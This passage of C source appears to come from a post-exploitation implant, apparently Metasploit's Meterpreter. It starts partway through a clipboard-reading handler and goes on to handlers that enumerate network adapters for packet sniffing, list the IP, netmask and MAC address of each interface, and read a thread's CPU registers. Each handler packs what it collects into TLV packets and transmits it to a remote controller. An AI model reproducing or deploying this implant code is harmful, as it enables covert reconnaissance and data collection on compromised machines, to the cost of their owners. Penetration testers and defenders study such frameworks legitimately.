TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, entries, 2); } } pGlobalUnlock(hClipboardData); } } while (0); } } dwResult = GetLastError(); pCloseClipboard(); } while (0); if (hShell32) FreeLibrary(hShell32); if (hKernel32) FreeLibrary(hKernel32); if (hUser32) FreeLibrary(hUser32); if (pResponse) packet_transmit_response(dwResult, remote, pResponse); return dwResult; #else return ERROR_NOT_SUPPORTED; #endif }
DWORD request_sniffer_interfaces(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); Tlv entries[8]; /* 0: Index 1: Name 2: Description 3: Type 4: MTU 5: Wireless? 6: Accessible? 7: DHCP? */ DWORD result = ERROR_SUCCESS; #ifdef _WIN32 HANDLE hCfg; unsigned int idx = 1; check_pssdk(); hCfg = MgrGetFirstAdapterCfg(hMgr); do { unsigned char *aname = (unsigned char *)AdpCfgGetAdapterNameA(hCfg); unsigned char *adesc = (unsigned char *)AdpCfgGetAdapterDescriptionA(hCfg); unsigned int ahand = htonl((unsigned int)hCfg); unsigned int atype = htonl(AdpCfgGetAdapterType(hCfg)); unsigned int amtu = htonl(AdpCfgGetMaxPacketSize(hCfg)); unsigned int aidx = htonl(idx); BOOL awireless = AdpCfgIsWireless(hCfg); BOOL ausable = AdpCfgGetAccessibleState(hCfg); BOOL adhcp = AdpCfgGetDhcpState(hCfg); memset(entries, 0, sizeof(entries)); dprintf("sniffer>> interface %d - %s - %s", idx, aname, adesc); entries[0].header.type = TLV_TYPE_UINT; entries[0].header.length = sizeof(unsigned int); entries[0].buffer = (PUCHAR)&aidx; entries[1].header.type = TLV_TYPE_STRING; entries[1].header.length = (DWORD)strlen(aname) + 1; entries[1].buffer = aname; entries[2].header.type = TLV_TYPE_STRING; entries[2].header.length = (DWORD)strlen(adesc) + 1; entries[2].buffer = adesc; entries[3].header.type = TLV_TYPE_UINT; entries[3].header.length = sizeof(unsigned int); entries[3].buffer = (PUCHAR)&atype; entries[4].header.type = TLV_TYPE_UINT; entries[4].header.length = sizeof(unsigned int); entries[4].buffer = (PUCHAR)&amtu; entries[5].header.type = TLV_TYPE_BOOL; entries[5].header.length = sizeof(BOOL); entries[5].buffer = (PUCHAR)&awireless; entries[6].header.type = TLV_TYPE_BOOL; entries[6].header.length = sizeof(BOOL); entries[6].buffer = (PUCHAR)&ausable; entries[7].header.type = TLV_TYPE_BOOL; entries[7].header.length = sizeof(BOOL); entries[7].buffer = (PUCHAR)&adhcp; packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8); idx++; } while ((hCfg = MgrGetNextAdapterCfg(hMgr, hCfg)) != NULL); #else char errbuf[PCAP_ERRBUF_SIZE+4]; int aidx = htonl(1); // :~( struct ifaces_list *ifaces; uint32_t i; int aidx_bigendian; int mtu_bigendian; int yes_int = htonl(1); int no_int = 0; int mtu_int = htonl(1514); pcap_if_t *interfaces, *int_iter; interfaces = int_iter = NULL; ifaces = NULL; do { result = pcap_findalldevs(&interfaces, errbuf); if(!result) { // pcap_findalldevs suceeded for(int_iter = interfaces; int_iter; int_iter = int_iter->next) { entries[0].header.type = TLV_TYPE_UINT; entries[0].header.length = sizeof(unsigned int); entries[0].buffer = (PUCHAR)&aidx; entries[1].header.type = TLV_TYPE_STRING; entries[1].header.length = strlen(int_iter->name)+1; entries[1].buffer = (PUCHAR)int_iter->name; entries[2].header.type = TLV_TYPE_STRING; entries[2].header.length = strlen(int_iter->name)+1; entries[2].buffer = (PUCHAR)int_iter->name; entries[3].header.type = TLV_TYPE_UINT; entries[3].header.length = sizeof(unsigned int); entries[3].buffer = (PUCHAR)&no_int; // xxx, get encapsulation type? entries[4].header.type = TLV_TYPE_UINT; entries[4].header.length = sizeof(unsigned int); entries[4].buffer = (PUCHAR)&mtu_int; // PKS :-( entries[5].header.type = TLV_TYPE_BOOL; entries[5].header.length = sizeof(BOOL); entries[5].buffer = (PUCHAR)&no_int; // check encaps options / crap entries[6].header.type = TLV_TYPE_BOOL; entries[6].header.length = sizeof(BOOL); entries[6].buffer = (PUCHAR)&yes_int; // sure, why not. entries[7].header.type = TLV_TYPE_BOOL; entries[7].header.length = sizeof(BOOL); entries[7].buffer = (PUCHAR)&no_int; // hrm. not worth it. packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8); aidx = htonl(ntohl(aidx)+1); // :~( } } else { dprintf("pcap_findalldevs() failed, trying netlink_get_interfaces now, errbuf was %s", errbuf); result = netlink_get_interfaces(&ifaces); if(result) { dprintf("Error when retrieving interfaces info"); break; } // netlink_get_interfaces suceeded for (i = 0; i < ifaces->entries; i++) { aidx_bigendian = htonl(ifaces->ifaces[i].index); entries[0].header.type = TLV_TYPE_UINT; entries[0].header.length = sizeof(uint32_t); entries[0].buffer = (PUCHAR)&aidx_bigendian; entries[1].header.type = TLV_TYPE_STRING; entries[1].header.length = strlen(ifaces->ifaces[i].name)+1; entries[1].buffer = (PUCHAR)ifaces->ifaces[i].name; entries[2].header.type = TLV_TYPE_STRING; entries[2].header.length = strlen(ifaces->ifaces[i].name)+1; entries[2].buffer = (PUCHAR)ifaces->ifaces[i].name; entries[3].header.type = TLV_TYPE_UINT; entries[3].header.length = sizeof(unsigned int); entries[3].buffer = (PUCHAR)&no_int; // xxx, get encapsulation type? mtu_bigendian = htonl(ifaces->ifaces[i].mtu); entries[4].header.type = TLV_TYPE_UINT; entries[4].header.length = sizeof(uint32_t); entries[4].buffer = (PUCHAR)&mtu_bigendian; entries[5].header.type = TLV_TYPE_BOOL; entries[5].header.length = sizeof(BOOL); entries[5].buffer = (PUCHAR)&no_int; // check encaps options / crap entries[6].header.type = TLV_TYPE_BOOL; entries[6].header.length = sizeof(BOOL); entries[6].buffer = (PUCHAR)&yes_int; // sure, why not. entries[7].header.type = TLV_TYPE_BOOL; entries[7].header.length = sizeof(BOOL); entries[7].buffer = (PUCHAR)&no_int; // hrm. not worth it. packet_add_tlv_group(response, TLV_TYPE_SNIFFER_INTERFACES, entries, 8); } } } while(0); if(ifaces) { free(ifaces); } if (interfaces) { pcap_freealldevs(interfaces); } #endif packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Returns zero or more local interfaces to the requestor */ DWORD request_net_config_get_interfaces(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; DWORD entryCount; #ifdef _WIN32 Tlv entries[5]; PMIB_IPADDRTABLE table = NULL; DWORD tableSize = sizeof(MIB_IPADDRROW) * 33; DWORD index; MIB_IFROW iface; do { // Allocate memory for reading addresses into if (!(table = (PMIB_IPADDRTABLE)malloc(tableSize))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Get the IP address table if (GetIpAddrTable(table, &tableSize, TRUE) != NO_ERROR) { result = GetLastError(); break; } // Enumerate the entries for (index = 0; index < table->dwNumEntries; index++) { entryCount = 0; entries[entryCount].header.length = sizeof(DWORD); entries[entryCount].header.type = TLV_TYPE_IP; entries[entryCount].buffer = (PUCHAR)&table->table[index].dwAddr; entryCount++; entries[entryCount].header.length = sizeof(DWORD); entries[entryCount].header.type = TLV_TYPE_NETMASK; entries[entryCount].buffer = (PUCHAR)&table->table[index].dwMask; entryCount++; iface.dwIndex = table->table[index].dwIndex; // If interface information can get gotten, use it. if (GetIfEntry(&iface) == NO_ERROR) { entries[entryCount].header.length = iface.dwPhysAddrLen; entries[entryCount].header.type = TLV_TYPE_MAC_ADDR; entries[entryCount].buffer = (PUCHAR)iface.bPhysAddr; entryCount++; if (iface.bDescr) { entries[entryCount].header.length = iface.dwDescrLen + 1; entries[entryCount].header.type = TLV_TYPE_MAC_NAME; entries[entryCount].buffer = (PUCHAR)iface.bDescr; entryCount++; } } // Add the interface group packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE, entries, entryCount); } } while (0); if (table) free(table); #else Tlv entries[5]; // xxx, we can probably support more. ip aliases, etc. char errbuf[PCAP_ERRBUF_SIZE+4]; pcap_if_t *interfaces, *iter; pcap_addr_t *addresses; unsigned char mac[6]; interfaces = iter = NULL; memset(entries, 0, sizeof(entries)); do { if(pcap_findalldevs(&interfaces, errbuf) == -1) { result = ENOMEM; // xxx, send errbuf to remote break; } for(iter = interfaces; iter != NULL ; iter = iter->next ) { entryCount = 0; if(strcmp(iter->name, "any") == 0) continue; dprintf("[%s] Processing %s", __FUNCTION__, iter->name); entries[entryCount].header.length = strlen(iter->name)+1; entries[entryCount].header.type = TLV_TYPE_MAC_NAME; entries[entryCount].buffer = (PUCHAR)iter->name; entryCount++; for(addresses = iter->addresses ; addresses != NULL ; addresses = addresses->next) { struct sockaddr_in *sin; dprintf("[%s/%s] addr = %p, netmask = %p, broadaddr = %p, dstaddr = %p", __FUNCTION__, iter->name); dprintf("[%s/%s] addresses->addr.sa_family = %d", __FUNCTION__, iter->name, addresses->addr->sa_family); if(addresses->addr == NULL) { dprintf("[%s/%s] addresses->addr = NULL ?", __FUNCTION__, iter->name); break; } if(addresses->addr->sa_family == AF_INET) { sin = (struct sockaddr_in *)(addresses->addr); entries[entryCount].header.length = sizeof(DWORD); entries[entryCount].header.type = TLV_TYPE_IP; entries[entryCount].buffer = (PUCHAR)&sin->sin_addr.s_addr; entryCount++; if(addresses->netmask) { sin = (struct sockaddr_in *)(addresses->netmask); entries[entryCount].header.length = sizeof(DWORD); entries[entryCount].header.type = TLV_TYPE_NETMASK; entries[entryCount].buffer = (PUCHAR)&sin->sin_addr.s_addr; entryCount++; } break; } } get_interface_mac_addr(iter->name, mac); entries[entryCount].header.length = 6; entries[entryCount].header.type = TLV_TYPE_MAC_ADDR; entries[entryCount].buffer = (PUCHAR)(mac); entryCount++; dprintf("[%s] adding response with %d entries", __FUNCTION__, entryCount); packet_add_tlv_group(response, TLV_TYPE_NETWORK_INTERFACE, entries, entryCount); dprintf("[%s] done with adding", __FUNCTION__); } } while(0); if(interfaces) { dprintf("[%s] calling pcap_freealldevs()", __FUNCTION__); pcap_freealldevs(interfaces); } dprintf("[%s] and done!", __FUNCTION__); #endif // Transmit the response if valid packet_transmit_response(result, remote, response); return result; }
/* * Query the register state of the supplied thread * * req: TLV_TYPE_THREAD_HANDLE - The thread to query */ DWORD request_sys_process_thread_query_regs(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); HANDLE thread; DWORD result = ERROR_SUCCESS; do { if ((thread = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_THREAD_HANDLE))) { CONTEXT context; DWORD index; struct { LPCSTR name; DWORD size; } regs[] = { { "eax", 4 }, { "ebx", 4 }, { "ecx", 4 }, { "edx", 4 }, { "esi", 4 }, { "edi", 4 }, { "ebp", 4 }, { "esp", 4 }, { "eip", 4 }, { "ss", 2 }, { "cs", 2 }, { "ds", 2 }, { "es", 2 }, { "fs", 2 }, { "gs", 2 }, { "eflags", 4 }, { NULL, 0 }, }; Tlv reg[3]; memset(&context, 0, sizeof(context)); // Get all standard registers context.ContextFlags = CONTEXT_FULL; // Get the thread's context if (!GetThreadContext(thread, &context)) { result = GetLastError(); break; } // Get the values associated with each register for (index = 0; regs[index].name; index++) { DWORD sizeNbo, valNbo, value; // Get the value value = get_thread_register_value(&context, regs[index].name, regs[index].size); // Convert the integer values to network byte order sizeNbo = htonl(regs[index].size); valNbo = htonl(value); // Translate each register into a grouped TLV reg[0].header.length = strlen(regs[index].name) + 1; reg[0].header.type = TLV_TYPE_REGISTER_NAME; reg[0].buffer = (PUCHAR)regs[index].name; reg[1].header.length = sizeof(DWORD); reg[1].header.type = TLV_TYPE_REGISTER_SIZE; reg[1].buffer = (PUCHAR)&sizeNbo; reg[2].header.length = sizeof(DWORD); reg[2].header.type = TLV_TYPE_REGISTER_VALUE_32; reg[2].buffer = (PUCHAR)&valNbo; // Add the register packet_add_tlv_group(response, TLV_TYPE_REGISTER, reg, 3); } } else result = ERROR_INVALID_PARAMETER; } while (0); packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }